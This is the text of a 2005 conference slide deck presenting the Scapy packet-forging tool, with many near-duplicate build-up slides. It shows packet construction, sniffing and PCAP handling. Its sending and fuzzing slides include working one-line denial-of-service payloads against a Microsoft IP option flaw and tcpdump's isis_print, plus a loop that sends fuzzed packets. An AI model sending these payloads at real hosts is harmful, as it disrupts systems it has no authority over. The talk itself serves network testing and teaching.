Network packet forgery with Scapy

Philippe BIONDI

phil(at)secdev.org / philippe.biondi(at)eads.net
EADS Corporate Research Center
SSI Department
Suresnes, FRANCE

PacSec/core05, November 16, 2005
Outline

1. Problematic
   - State of the art
   - Arbitrary limitations
   - Decode or interpret?

2. Scapy
   - Concepts
   - Quick overview
   - High-level commands
   - Extending Scapy

3. Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4. Conclusion
Outline

1. Problematic
   - State of the art
     - Arbitrary limitations
     - Decode or interpret?

2. Scapy
   - Concepts
   - Quick overview
   - High-level commands
   - Extending Scapy

3. Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4. Conclusion
Quick goal-oriented taxonomy of packet building tools

- **Scanning**
- **Fingerprinting**
  - **Testing**
  - **Attacking**
  - **Packet forging**
  - **Sniffing**

**Packet forging tool**: forges packets and sends them

**Sniffing tool**: captures packets and possibly dissects them

**Testing tool**: does unitary tests. Usually tries to answer a yes/no question (ex: ping)

**Scanning tool**: does a bunch of unitary tests with some parameters varying in a given range

**Fingerprinting tool**: does some predefined eclectic unitary tests to discriminate a peer

**Attacking tool**: uses some unexpected values in a protocol
Many programs
Sorry for possible classification errors!

**Sniffing tools**
- `ethereal`, `tcpdump`, `net2pcap`, `cdpsniffer`, `aimsniffer`, `vomit`,
- `tcptrace`, `tcptrack`, `nstreams`, `argus`, `karpski`, `ipgrab`, `nast`, `cdpr`,
- `aldebaran`, `dsniff`, `irpas`, `iptraf`, . . .

**Packet forging tools**
- `packeth`, `packit`, `packet excalibur`, `nemesis`, `tcpinject`, `libnet`, `IP sorcery`, `pacgen`, `arp-sk`, `arpspoof`, `dnet`, `dpkt`, `pixiliate`, `irpas`,
- `sendIP`, `IP-packetgenerator`, `sing`, `aicmopsend`, `libpal`, . . .
Many programs

Testing tools

ping, hping2, hping3, traceroute, tctrace, tcptraceroute, traceproto, fping, arping, ...

Scanning tools

nmap, amap, vmap, hping3, unicornscan, ttlscan, ikescan, paketto, firewalk, ...

Fingerprinting tools

nmap, xprobe, p0f, cron-OS, queso, ikescan, amap, synscan, ...

Attacking tools

dnsspoof, poison ivy, ikeprobe, ettercap, dsniff suite, cain, hunt, airpwn, irpas, nast, yersinia, ...
Outline

1. Problematic
   - State of the art
   - Arbitrary limitations
   - Decode or interpret?

2. Scapy
   - Concepts
   - Quick overview
   - High-level commands
   - Extending Scapy

3. Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4. Conclusion
Layer 2 or layer 3?

Kernel offers two ways to forge packets

Layer 2 (PF_PACKET, PF_RAW, pfopen(), libdnet, ...)
- almost no limitations on what you send
- everything to handle yourself:
  - output interface choice
  - linktype (Ethernet, PPP, 802.11, ...)
  - ARP stuff (ARP requests, ARP cache, ...)
  - checksums, ...
  - ...

Layer 3 (PF_INET/SOCK_RAW)
- chooses output interface choice
- handles linklayer
- many limitations on what you can do
Layer 2 or layer 3?
Layer 2 tools

Tools whose goal is to handle layer 2 data (ARP, CDP, …) must use the layer 2 interface.
But usually:

- you have to choose the output interface
- they handle only one linktype
Layer 2 or layer 3?
Layer 3 tools

Tools whose goal is to handle layer 3 data (IP, IPv6, ...) use the layer 3 interface. But they have to cope with PF_INET/SOCK_RAW limitations.

Some values have special meanings
- IP checksum set to 0 means “calculate the checksum”
- IP ID to 0 means “manage the IP ID for me”

Some values are impossible to use
- Destination IP can’t be a network address present in the routing table
- Fragmented datagrams may be reassembled by local firewall
- Local firewall may block emission or reception
- Broken values may be dropped (wrong ihl, bad IP version, ...)

Philippe BIONDI
Network packet forgery with Scapy
Most tools can’t forge exactly what you want

- Most tools support no more than the TCP/IP protocol suite
- Building a whole packet with a command line tool is near unbearable, and is really unbearable for a set of packets
  - Popular tools use *templates* or *scenarii* with few fields to fill to get a working (set of) packets
  - You’ll never do something the author did not imagine
  - You often need to write a new tool
- But building a single working packet from scratch in C takes an average of 60 lines
Combining technics is not possible

Example

- Imagine you have an ARP cache poisoning tool
- Imagine you have a double 802.1q encapsulation tool

⇒ You still can’t do ARP cache poisoning with double 802.1q encapsulation

⇒ You need to write a new tool ... again.
Most tools can’t forge exactly what you want

Example

Try to find a tool that can do

- an ICMP *echo request* with some given padding data
- an IP protocol scan with the *More Fragments* flag
- some ARP cache poisoning with a VLAN hopping attack
- a traceroute with an applicative payload (DNS, ISAKMP, etc.)
Outline

1. Problematic
   - State of the art
   - Arbitrary limitations
   - Decode or interpret?

2. Scapy
   - Concepts
   - Quick overview
   - High-level commands
   - Extending Scapy

3. Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4. Conclusion
Decoding vs interpreting

**decoding:** I received a RST packet from port 80

**interpreting:** The port 80 is closed

- Machines are good at decoding and can help human beings
- Interpretation is for human beings
A lot of tools interpret instead of decoding

- Work on specific situations
- Work with basic logic and reasoning
- Limited to what the programmer expected to receive

⇒ unexpected things keep being unnoticed

**Example**

Interesting ports on 192.168.9.3:
PORT    STATE     SERVICE
22/tcp  filtered  ssh

Missed: it was an ICMP *host unreachable*. The port is not filtered, but there is no host behind the firewall.
Some tools give a limited interpretation

- Interpretation is sometimes insufficient for a good network discovery

Example

Interesting ports on 192.168.9.4:
PORT   STATE        SERVICE
22/tcp filtered ssh

Do you really know what happened?
- No answer?
- ICMP host unreachable? from who?
- ICMP port administratively prohibited? from who?
- …
Most tools partially decode what they receive

- Show only what the programmer expected to be useful
  → unexpected things keep being unnoticed

Example

```bash
# hping --icmp 192.168.8.1
HPING 192.168.8.1 (eth0 192.168.8.1): icmp mode set, [...]
len=46 ip=192.168.8.1 ttl=64 id=42457 icmp_seq=0 rtt=2.7 ms
```
Most tools partially decode what they receive

- Show only what the programmer expected to be useful
- unexpected things keep being unnoticed

Example

```bash
# hping --icmp 192.168.8.1
HPING 192.168.8.1 (eth0 192.168.8.1): icmp mode set, [...]
len=46 ip=192.168.8.1 ttl=64 id=42457 icmp_seq=0 rtt=2.7 ms

IP 192.168.8.1 > 192.168.8.14: icmp 8: echo reply seq 0
0001 4321 1d3f 0002 413d 4b23 0800 4500 ..G../..A.K...E.
001c a5d9 0000 4001 43a8 c0a8 0801 c0a8 ........@.C........
080e 0000 16f6 e909 0000 0000 0000 0000 ................
0000 0000 0000 0000 13e5 c24b ................K
```
Most tools partially decode what they receive

- Show only what the programmer expected to be useful

⇒ unexpected things keep being unnoticed

Example

```bash
# hping --icmp 192.168.8.1
HPING 192.168.8.1 (eth0 192.168.8.1): icmp mode set, [...] len=46 ip=192.168.8.1 ttl=64 id=42457 icmp_seq=0 rtt=2.7 ms

IP 192.168.8.1 > 192.168.8.14: icmp 8: echo reply seq 0
0001 4321 1d3f 0002 413d 4b23 0800 4500 ..G../..A.K...E.
001c a5d9 0000 4001 43a8 c0a8 0801 c0a8 ........@.C........
080e 0000 16f6 e909 0000 0000 0000 0000 ................
0000 0000 0000 0000 13e5 c24b ............K
```
Most tools partially decode what they receive

- Show only what the programmer expected to be useful
  - unexpected things keep being unnoticed

Example

```bash
# hping --icmp 192.168.8.1
HPING 192.168.8.1 (eth0 192.168.8.1): icmp mode set, [...] len=46 ip=192.168.8.1 ttl=64 id=42457 icmp_seq=0 rtt=2.7 ms

IP 192.168.8.1 > 192.168.8.14: icmp 8: echo reply seq 0 0001 4321 1d3f 0002 413d 4b23 0800 4500 ..G../..A.K...E.
001c a5d9 0000 4001 43a8 c0a8 0801 c0a8 ........@.C........
080e 0000 16f6 e909 0000 0000 0000 0000 ................
0000 0000 0000 0000 13e5 c24b ..............K
```
Most tools partially decode what they receive

- Show only what the programmer expected to be useful
  - unexpected things keep being unnoticed

**Example**

```bash
# hping --icmp 192.168.8.1
HPING 192.168.8.1 (eth0 192.168.8.1): icmp mode set, [...] len=46 ip=192.168.8.1 ttl=64 id=42457 icmp_seq=0 rtt=2.7 ms

IP 192.168.8.1 > 192.168.8.14: icmp 8: echo reply seq 0
  0001 4321 1d3f 0002 413d 4b23 0800 4500 ..G../..A.K...E.
  001c a5d9 0000 4001 43a8 c0a8 0801 c0a8 ......@.C........
  080e 0000 16f6 e909 0000 0000 0000 0000 ................
  0000 0000 0000 0000 13e5 c24b .............K
```
Most tools partially decode what they receive

- Show only what the programmer expected to be useful
  ➞ unexpected things keep being unnoticed

**Example**

```bash
# hping --icmp 192.168.8.1
HPING 192.168.8.1 (eth0 192.168.8.1): icmp mode set, [...]
len=46 ip=192.168.8.1 ttl=64 id=42457 icmp_seq=0 rtt=2.7 ms

IP 192.168.8.1 > 192.168.8.14: icmp 8: echo reply seq 0
0001 4321 1d3f 0002 413d 4b23 0800 4500 ..G../..A.K...E.
001c a5d9 0000 4001 43a8 c0a8 0801 c0a8 ........@.C........
080e 0000 16f6 e909 0000 0000 0000 0000 .................
0000 0000 0000 0000 13e5 c24b ............K
```

Did you see?
Most tools partially decode what they receive

- Show only what the programmer expected to be useful
  ➞ unexpected things keep being unnoticed

Example

```
# hping --icmp 192.168.8.1
HPING 192.168.8.1 (eth0 192.168.8.1): icmp mode set, [...] len=46 ip=192.168.8.1 ttl=64 id=42457 icmp_seq=0 rtt=2.7 ms

IP 192.168.8.1 > 192.168.8.14: icmp 8: echo reply seq 0
0001 4321 1d3f 0002 413d 4b23 0800 4500 ..G../..A.K...E.
001c a5d9 0000 4001 43a8 c0a8 0801 c0a8 ........@.C........
080e 0000 16f6 e909 0000 0000 0000 0000 .................
0000 0000 0000 0000 13e5 c24b ..................K
```

Did you see? Some data leaked into the padding (Etherleaking).
Popular tools bias our perception of networked systems

- Very few popular tools (*nmap*, *hping*)
- Popular tools give a subjective vision of tested systems
  - The world is seen only through those tools
  - You won’t notice what they can’t see
  - Bugs, flaws, . . . may remain unnoticed on very well tested systems because they are always seen through the same tools, with the same bias
Outline

1 Problematic
   - State of the art
   - Arbitrary limitations
   - Decode or interpret?

2 Scapy
   - Concepts
     - Quick overview
     - High-level commands
     - Extending Scapy

3 Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4 Conclusion
Scapy’s Main Concepts

- Python interpreter disguised as a Domain Specific Language
- Fast packet designing
- Default values that work
- No special values
- Unlimited combinations
- Probe once, interpret many
- Interactive packet and result manipulation
Scapy as a Domain Specific Language

List of layers

```python
>>> ls()
ARP     : ARP
DHCP    : DHCP options
DNS     : DNS
Dot11   : 802.11
[...]
```

List of commands

```python
>>> lsc()
sr      : Send and receive packets at layer 3
sr1     : Send packets at layer 3 and return only the fi
srp     : Send and receive packets at layer 2
[...]
```
Fast packet designing

- Each packet is built layer by layer (ex: Ether, IP, TCP, ...)
- Each layer can be stacked on another
- Each layer or packet can be manipulated
- Each field has working default values
- Each field can contain a value or a set of values

Example

```
>>> a=IP(dst="www.target.com", id=0x42)
>>> a.ttl=12
>>> b=TCP(dport=[22,23,25,80,443])
>>> c=a/b
```
Fast packet designing

How to order food at a Fast Food

I want a BigMac, French Fries with Ketchup and Mayonnaise, up to 9 Chicken Wings and a Diet Coke

How to order a Packet with Scapy

I want a broadcast MAC address, and IP payload to ketchup.com and to mayo.com, TTL value from 1 to 9, and an UDP payload.

```
Ether(dst="ff:ff:ff:ff:ff:ff")
/IP(dst=["ketchup.com","mayo.com"],ttl=(1,9))
/UDP()
```

We have 18 packets defined in 1 line (1 implicit packet)
Fast packet designing

How to order food at a Fast Food

I want a BigMac, French Fries with Ketchup and Mayonnaise, up to 9 Chicken Wings and a Diet Coke

How to order a Packet with *Scapy*

I want a broadcast MAC address, and IP payload to *ketchup.com* and to *mayo.com*, TTL value from 1 to 9, and an UDP payload.

```
Ether(dst="ff:ff:ff:ff:ff:ff")
/IP(dst=["ketchup.com","mayo.com"],ttl=(1,9))
/UDP()
```

We have 18 packets defined in 1 line (1 implicit packet)
Default values that work

If not overridden,

- IP source is chosen according to destination and routing table
- Checksum is computed
- Source MAC is chosen according to output interface
- Ethernet type and IP protocol are determined by upper layer
- ...

Other fields’ default values are chosen to be the most useful ones:

- TCP source port is 20, destination port is 80
- UDP source and destination ports are 53
- ICMP type is *echo request*
- ...
Default values that work

Example: Default Values for IP

```python
>>> ls(IP)
version : BitField = (4)
ihl : BitField = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
flags : FlagsField = (0)
frag : BitField = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : Emph = (None)
dst : Emph = ('127.0.0.1')
options : IPoptionsField = ('')
```
No special values

- The special value is the `None` object
- The `None` object is outside of the set of possible values
  ⇒ do not prevent a possible value to be used
With *Scapy*, you can
- Stack what you want where you want
- Put any value you want in any field you want

**Example**

```
STP()/IP(options="love",chksum=0x1234)
/Dot1Q(prio=1)/Ether(type=0x1234)
/Dot1Q(vlan=(2,123))/TCP()
```

- You know ARP cache poisoning and vlan hopping
  ➡️ you can poison a cache with a double VLAN encapsulation
- You know VOIP decoding, 802.11 and WEP
  ➡️ you can decode a WEP encrypted 802.11 VOIP capture
- You know ISAKMP and tracerouting
  ➡️ you can traceroute to VPN concentrators
Main difference with other tools:

- The result of a probe is made of:
  - the list of couples (packet sent, packet received)
  - the list of unreplied packet

- Interpretation/representation of the result is done independently

\[ \Rightarrow \] you can refine an interpretation without needing a new probe

**Example**

- You do a TCP scan on an host and see some open ports, a closed one, and no answer for the others

\[ \Rightarrow \] you don’t need a new probe to check the TTL or the IPID of the answers and determine whether it was the same box
Outline

1. Problematic
   - State of the art
   - Arbitrary limitations
   - Decode or interpret?

2. Scapy
   - Concepts
   - Quick overview
   - High-level commands
   - Extending Scapy

3. Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4. Conclusion
Packet manipulation
First steps

>>>
Packet manipulation
First steps

>>> a=IP(ttl=10)
>>>
Packet manipulation
First steps

```python
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
```
Packet manipulation
First steps

```python
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 >
>>> a.src
'127.0.0.1'
>>> 
```
Packet manipulation
First steps

```python
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |
>>> a.src
'127.0.0.1'
>>> a.dst="192.168.1.1"
```
Packet manipulation
First steps

```python
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |
>>> a.src
'127.0.0.1'
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |
```
Packet manipulation
First steps

```python
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
'127.0.0.1'
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
'192.168.8.14'
```
Packet manipulation
First steps

```python
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |
>>> a.src
'127.0.0.1'
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |
>>> a.src
'192.168.8.14'
>>> del(a.ttl)
>>>```
Problematic Scapy
Network discovery and attacks

Packet manipulation
First steps

```python
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
'127.0.0.1'
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
'192.168.8.14'
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>>`
Packet manipulation
First steps

```python
>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |

>>> a.src
'127.0.0.1'

>>> a.dst="192.168.1.1"

>>> a
< IP ttl=10 dst=192.168.1.1 |

>>> a.src
'192.168.8.14'

>>> del(a.ttl)

>>> a
< IP dst=192.168.1.1 |

>>> a.ttl
64
```
Packet manipulation
Stacking

>>>
Packet manipulation

Stacking

```python
>>> b=a/TCP(flags="SF")
>>> 
```
Packet manipulation

Stacking

```python
>>> b=a/TCP(flags="SF")
>>> b
< IP proto=TCP dst=192.168.1.1 | < TCP flags=FS |>>
>>>```

Philippe BIONDI
Network packet forgery with Scapy
Packet manipulation
Stacking

```python
>>> b = a/TCP(flags="SF")
>>> b
< IP proto=TCP dst=192.168.1.1 |
< TCP flags=FS |>>
>>> b.command()
"IP(dst='192.168.1.1')/TCP(flags=3)"
```
Packet manipulation

Stacking

```python
>>> b = a / TCP(flags="SF")
>>> b
< IP proto=TCP dst=192.168.1.1 |
  < TCP flags=FS |>

>>> b.command()
"IP(dst='192.168.1.1')/TCP(flags=3)"

>>> b.show()
---[ IP ]---
  version = 4
  ihl = 0
  tos = 0x0
  len = 0
  id = 1
  flags =
  frag = 0
  ttl = 64
  proto = TCP
  chksum = 0x0

---[ TCP ]---
  sport = 20
  dport = 80
  seq = 0
  ack = 0
  dataofs = 0
  reserved = 0
  flags = FS
  window = 0
  chksum = 0x0
  urgptr = 0
  options =
```

```
src = 192.168.8.14
dst = 192.168.1.1
options = ''
```
Packet Manipulation
Navigation between layers

Layers of a packet can be accessed using the payload attribute:

```python
```

A better way:

- The idiom `Layer in packet` tests the presence of a layer
- The idiom `packet[Layer]` returns the asked layer
- The idiom `packet[Layer:3]` returns the third instance of the asked layer

Example

```python
if UDP in pkt:
    print pkt[UDP].chksum
```

The code is independent from lower layers. It will work the same whether `pkt` comes from PPP or from WEP with 802.1q
Packet Manipulation
Building and Dissecting

>>>
Packet Manipulation
Building and Dissecting

>>> str(b)
'E\x00\x00(\x00\x01\x00\x00@\x06\xf0o\xc0\xa8\x08\x0e\xc0\xa8\x01\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x03\x00\x00%\x1e\x00\x00'
Packet Manipulation
Building and Dissecting

>>> str(b)
'\xE0\x00\x00(\x00\x01\x00\x00@\x06\xf0o\xc0\xa8\x08\x0e\xc0\xa8\x01\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00%\x1e\x00\x00'

>>> IP(_)
< IP version=4L ihl=5L tos=0x0 len=40 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0xf06f src=192.168.8.14 dst=192.168.1.1 options='' |< TCP sport=20 dport=80 seq=0L ack=0L dataofs=5L reserved=16L flags=FS window=0 chksum=0x251e urgptr=0 |>>
Packet Manipulation
Implicit Packets

>>>
Packet Manipulation
Implicit Packets

```python
>>> b.ttl=(10,14)
```
Packet Manipulation

Implicit Packets

```python
>>> b.ttl=(10,14)
>>> b.payload.dport=[80,443]
>>> `
Packet Manipulation
Implicit Packets

```python
>>> b.ttl=(10,14)

>>> b.payload.dport=[80,443]

>>> [k for k in b]

[<IP ttl=10 proto=TCP dst=192.168.1.1 | <TCP dport=80 flags=FS |>>],
<IP ttl=10 proto=TCP dst=192.168.1.1 | <TCP dport=443 flags=FS |>>],
<IP ttl=11 proto=TCP dst=192.168.1.1 | <TCP dport=80 flags=FS |>>],
<IP ttl=11 proto=TCP dst=192.168.1.1 | <TCP dport=443 flags=FS |>>],
<IP ttl=12 proto=TCP dst=192.168.1.1 | <TCP dport=80 flags=FS |>>],
<IP ttl=12 proto=TCP dst=192.168.1.1 | <TCP dport=443 flags=FS |>>],
<IP ttl=13 proto=TCP dst=192.168.1.1 | <TCP dport=80 flags=FS |>>],
<IP ttl=13 proto=TCP dst=192.168.1.1 | <TCP dport=443 flags=FS |>>],
<IP ttl=14 proto=TCP dst=192.168.1.1 | <TCP dport=80 flags=FS |>>],
<IP ttl=14 proto=TCP dst=192.168.1.1 | <TCP dport=443 flags=FS |>>]
```
>>> pkt.psdump()
>>> pkt.pdfdump()

```
Ethernet
  dst  00:12:79:3d:a3:6a
  src  00:11:43:26:48:7e
  type 08 00

IP
  version  4L
  ihl  5L
  tos  0x0
  len  33
  id  34090
  flags DF
  frag 0L
  ttl  64
  proto UDP
  chksum 0x3e81
  ac 10 0f fe

UDP
  sport 33052
  dport 4523
  len 13
  chksum 0x773f

Raw
  'toto.n'
```
Some stuff you can do on a packet

- `str(pkt)` to assemble the packet
- `hexdump(pkt)` to have an hexa dump
- `ls(pkt)` to have the list of fields values
- `pkt.summary()` for a one-line summary
- `pkt.show()` for a developed view of the packet
- `pkt.show2()` same as show but on the assembled packet (checksum is calculated, for instance)
- `pkt.sprintf()` fills a format string with fields values of the packet
- `pkt.decode_payload_as()` changes the way the payload is decoded
- `pkt.psdump()` draws a postscript with explained dissection
- `pkt.pdfdump()` draws a PDF with explained dissection
- `pkt.command()` returns a Scapy command that can generate the packet
The `sprintf()` method

Thanks to the `sprintf()` method, you can

- make your own summary of a packet
- abstract lower layers and focus on what’s interesting

**Example**

```python
>>> a = IP(dst="192.168.8.1",ttl=12)/UDP(dport=123)
>>> a.sprintf("The source is %IP.src%")
'The source is 192.168.8.14'
```

- “%”, “{” and “}” are special characters
- they are replaced by “%%”, “%(” and “%)”
>>> conf
checkIPID = 1
checkIPsrc = 1
color_theme = <class scapy.DefaultTheme at 0xb7eef86c>
except_filter = ''
histfile = '/home/pbi/.scapy_history'
iface = 'eth0'
nmap_base = '/usr/share/nmap/nmap-os-fingerprints'
p0f_base = '/etc/p0f.fp'
route =

<table>
<thead>
<tr>
<th>Network</th>
<th>Netmask</th>
<th>Gateway</th>
<th>Iface</th>
</tr>
</thead>
<tbody>
<tr>
<td>127.0.0.0.0</td>
<td>255.0.0.0.0</td>
<td>0.0.0.0</td>
<td>lo</td>
</tr>
<tr>
<td>172.17.2.4</td>
<td>255.255.255.255</td>
<td>192.168.8.2</td>
<td>eth0</td>
</tr>
<tr>
<td>192.168.8.0</td>
<td>255.255.255.0</td>
<td>0.0.0.0</td>
<td>eth0</td>
</tr>
<tr>
<td>0.0.0.0.0</td>
<td>0.0.0.0</td>
<td>192.168.8.1</td>
<td>eth0</td>
</tr>
</tbody>
</table>

session = ''

sniff_promisc = 0

wepkey = ''
Sending

>>>
Sending

>>> send(b)

..........  
Sent 10 packets.
>>>
Sending

```python
>>> send(b)
.........
Sent 10 packets.
```
```python
>>> send([b]*3)
                      ...............  
Sent 30 packets.
```
```
Sending

```python
>>> send(b)

...........
Sent 10 packets.

>>> send([b]*3)

..............................
Sent 30 packets.

>>> send(b, inter=0.1, loop=1)

............................^C
Sent 27 packets.
```
>>> send(b)

..........  
Sent 10 packets.

>>> send([b]*3)

........................
Sent 30 packets.

>>> send(b,inter=0.1,loop=1)

........................^C  
Sent 27 packets.

>>> sendp("I’m travelling on Ethernet ", iface="eth0")
Sending

```python
>>> send(b)

..........  
Sent 10 packets.
```

```python
>>> send([b]*3)

..................................  
Sent 30 packets.
```

```python
>>> send(b,inter=0.1,loop=1)

.................................^C  
Sent 27 packets.
```

```python
>>> sendp("I’m travelling on Ethernet ", iface="eth0")
```

```
tcpdump output:
```

```
ethertype Unknown (0x6e67), length 27:
4927 6d20 7472 6176 6c69 6e67 206f I’m.travelling.o
```

```python
6e20 4574 6865 726e 6574 206e.Ethernet.
```
Sending

- Microsoft IP option DoS proof of concept is 115 lines of C code (without comments)
Sending

- Microsoft IP option DoS proof of concept is 115 lines of C code (without comments)
- The same with Scapy:

```python
send(IP(dst="target",options="\x02\x27"+"X"*38)/TCP())
```
Sending

- Microsoft IP option DoS proof of concept is 115 lines of C code (without comments)
- The same with Scapy:

```python
send(IP(dst="target",options="\x02\x27"+"X"*38)/TCP())
```

- `tcpdump isis_print()` Remote Denial of Service Exploit: 225 lines
Sending

- Microsoft IP option DoS proof of concept is 115 lines of C code (without comments)
- The same with Scapy:

  ```python
  send(IP(dst="target",options="\x02\x27"+"X"*38)/TCP())
  ```

- tcpdump isis_print() Remote Denial of Service Exploit: 225 lines
- The same with Scapy:

  ```python
  send( IP(dst="1.1.1.1")/GRE(proto=254)/'\x83\x1b \x01\x06\x12\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01\x07 \x00\x00' )
  ```
Fuzzing

- The `fuzz()` function will transform a packet into a *fuzzy* packet.
- The *fuzzy* packet can be sent in loop

**Example**

```python
>>> IP(dst="target")/fuzz( UDP()//NTP(version=4) )
< IP  frag=0 proto=UDP  dst=<Net target>  |< UDP  sport=ntp
dport=ntp  |< NTP  version=4  |>>>  
>>> send(_, loop=1, verbose=0)
```
Sniffing and PCAP file format interface
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
```
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>
```
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>
>>> sniff(count=2, prn=lambda x:x.summary())
```
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>
>>> sniff(count=2, prn=lambda x:x.summary())
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
```
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>
```

```python
>>> sniff(count=2, prn=lambda x:x.summary())
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
Ether / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw
< Sniffed: UDP:0 TCP:2 ICMP:0 Other:0>
```
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>
```

```python
>>> sniff(count=2, prn=lambda x:x.summary())
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
Ether / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw
< Sniffed: UDP:0 TCP:2 ICMP:0 Other:0>
```

```python
>>> a=_
```

```python
>>> 
```
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>
>>> sniff(count=2, prn=lambda x:x.summary())
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
Ether / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw
< Sniffed: UDP:0 TCP:2 ICMP:0 Other:0>
```
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>
```

```python
>>> sniff(count=2, prn=lambda x:x.summary())
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
Ether / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw
< Sniffed: UDP:0 TCP:2 ICMP:0 Other:0>
```

```python
>>> a=
```

```python
>>> a.summary()
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
Ether / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw
```

```python
>>> wrpcap("/tmp/test.cap", a)
```

```python
>>> 
```
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>
>>> sniff(count=2, prn=lambda x:x.summary())
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
Ether / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw
< Sniffed: UDP:0 TCP:2 ICMP:0 Other:0>
>>> a=

>>> a.summary()
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
Ether / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw

>>> wrpcap("/tmp/test.cap", a)
>>> rdpcap("/tmp/test.cap")
< test.cap: UDP:0 TCP:2 ICMP:0 Other:0>
```
Sniffing and PCAP file format interface

```python
>>> sniff(count=5, filter="tcp")
< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>
>>> sniff(count=2, prn=lambda x:x.summary())
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
Ether / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw
< Sniffed: UDP:0 TCP:2 ICMP:0 Other:0>
>>> a=
>>> a.summary()
Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / Raw
Ether / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw
>>> wrpcap("/tmp/test.cap", a)
>>> rdpcap("/tmp/test.cap")
< test.cap: UDP:0 TCP:2 ICMP:0 Other:0>
>>> a[0]
< Ether dst=00:12:2a:71:1d:2f src=00:02:4e:9d:db:c3 type=0x800>
```
Sniffing and Pretty Printing

>>>
Sniffing and Pretty Printing

```python
>>> sniff( prn = lambda x: 
          x.sprintf("%IP.src% > %IP.dst% %IP.proto%") )
```
Sniffing and Pretty Printing

```python
>>> sniff( prn = lambda x: 
       x.sprintf("%IP.src% > %IP.dst% %IP.proto%") )
192.168.8.14 > 192.168.8.1 ICMP
192.168.8.1 > 192.168.8.14 ICMP
192.168.8.14 > 192.168.8.1 ICMP
192.168.8.14 > 192.168.8.1 ICMP
>>>
Sniffing and Pretty Printing

```python
>>> sniff( prn = lambda x: 
    x.sprintf("%IP.src% > %IP.dst% %IP.proto%") )
192.168.8.14 > 192.168.8.1 ICMP
192.168.8.1 > 192.168.8.14 ICMP
192.168.8.14 > 192.168.8.1 ICMP
192.168.8.1 > 192.168.8.14 ICMP

>>> a=sniff(iface="wlan0",prn=lambda x: \
         x.sprintf("%Dot11.addr2% ")+("#"*(x.signal/8)))
```

Requires `wlan0` interface to provide *Prism headers*
Sniffing and Pretty Printing

```python
>>> sniff( prn = lambda x: \
   x.sprintf("%IP.src% > %IP.dst% %IP.proto%") )
192.168.8.14 > 192.168.8.1 ICMP
192.168.8.1 > 192.168.8.14 ICMP
192.168.8.14 > 192.168.8.1 ICMP
192.168.8.14 > 192.168.8.14 ICMP
>>> a=sniff(iface="wlan0",prn=lambda x: \
   x.sprintf("%Dot11.addr2% ")+("#"*(x.signal/8)))
